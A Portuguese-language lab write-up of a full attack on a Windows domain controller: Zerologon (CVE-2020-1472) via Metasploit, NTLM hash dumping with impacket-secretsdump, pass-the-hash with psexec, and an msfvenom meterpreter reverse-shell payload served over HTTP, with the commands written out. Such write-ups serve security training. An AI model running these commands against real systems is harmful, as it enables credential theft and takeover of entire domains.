
Exploração completa de Controlador de Domínio usando Metasploit e Impacket: descoberto DC10, explorou Zerologon (CVE-2020-1472), extraiu hashes NTLM, obteve shell SYSTEM e estabeleceu uma sessão Meterpreter.
Exploração completa de um Controlador de Domínio usando Metasploit e Impacket: descoberta do DC10, exploração do Zerologon (CVE-2020-1472), extração de hashes NTLM, obtenção de shell SYSTEM e estabelecimento de uma sessão Meterpreter.
Resumo Executivo Este exercício demonstra uma cadeia de ataque completa e realista contra um controlador de domínio que estava vulnerável ao CVE-2020-1472 (Zerologon). O engajamento incluiu descoberta, enriquecimento de serviços, exploração, extração de credenciais, movimento lateral e validação pós-exploração. Consegui obter acesso de nível SYSTEM e estabelecer uma sessão persistente do Meterpreter no DC usando uma combinação de Zerologon, Impacket secretsdump + pass-the-hash e payloads msfvenom/meterpreter. Capturas de tela e artefatos de comandos foram registrados em cada etapa como evidência.
Visão geral do laboratório: Simulou uma cadeia de ataque completa em um Controlador de Domínio Windows usando Metasploit e Impacket; descoberta, Zerologon, secretsdump, pass-the-hash e uma sessão controlada do Meterpreter.
Por que isso é importante para as organizações: Porque o DC controla a autenticação, política de grupo e identidade de todo o domínio, um comprometimento pode se cascatear em interrupção total dos negócios, roubo de contas, exfiltração de dados, implantação de ransomware e perda de confiança regulatória. Proteger os DCs protege a disponibilidade, receita e reputação, impedindo que atacantes transformem a identidade em um ponto único de falha.
Você recebe duas máquinas em uma rede de laboratório contida. Um sistema é um Controlador de Domínio Windows (DC) chamado DC10 que hospeda serviços principais de AD. O outro sistema é uma estação de trabalho Kali colocada na mesma sub-rede de servidores para teste. Supõe-se que o DC exponha serviços de domínio típicos (por exemplo, LDAP, Kerberos, SMB) e pode ser vulnerável a problemas conhecidos. Espera-se que o host Kali seja usado para reconhecimento, exploração, acesso a credenciais, movimento lateral e validação pós-exploração. A tarefa é identificar o DC, confirmar detalhes do domínio, obter um ponto de apoio inicial usando uma técnica aplicável, extrair material de credenciais para permitir acesso administrativo e, em seguida, demonstrar controle do DC por meio de um shell remoto e uma sessão de agente gerenciado, adaptando-se a quaisquer restrições ambientais, como serviços corrigidos, egresso restrito ou defesas de endpoint. DC: 10.1.16.1 Kali: 10.1.16.66
Usei msfconsole com suporte a DB, executei um sweep nmap de dentro do MSF, importei os resultados e refinei hosts e serviços para confirmar a exposição do DC10.
Realizei uma varredura de porta SYN no MSF, fiz fingerprinting SMB e confirmei LDAP e Kerberos em 10.1.16.1. Consultei LDAP para recuperar o nome do domínio.
auxiliary/scanner/smb/smb_version.
auxiliary/gather/ldap_query.
Executei auxiliary/admin/dcerpc/cve_2020_1472_zerologon contra o DC10 para redefinir a senha da conta de máquina para vazia.
Usando Impacket, extraí hashes NTLM do DC e identifiquei credenciais de Administrador para pass-the-hash.
impacket-secretsdump -just-dc-ntlm structureality/dc10\[email protected]
Usei pass-the-hash com psexec para obter um shell de nível SYSTEM no DC10 e validei a identidade do host.
impacket-psexec structureality/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:dae57d78fec919471799ce0fae8236b9
Como você pode ver, já estou em C:\Windows\system32
Gerei um payload meterpreter reverse_tcp, hospedei via HTTP, baixei no DC10, iniciei um handler e executei o payload para abrir uma sessão Meterpreter.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.1.16.66 LPORT=4567 -f exe -o secretfile.exe
Iniciei um servidor web básico para permitir que o sistema alvo acessasse facilmente este executável meterpreter usando:
python3 -m http.server 8080
Na máquina alvo, executei o executável meterpreter (secret.exe)
Como você pode ver, agora estabeleci uma conexão de shell reverso entre o alvo DC10 e os sistemas Kali. Isso foi realizado usando apenas exploits externos/remotos contra o alvo vulnerável.
Embora o sistema Kali esteja localizado na sub-rede de servidores junto com o alvo DC10, esses tipos de ataques são possíveis pela internet se o sistema alvo estiver exposto à internet aberta.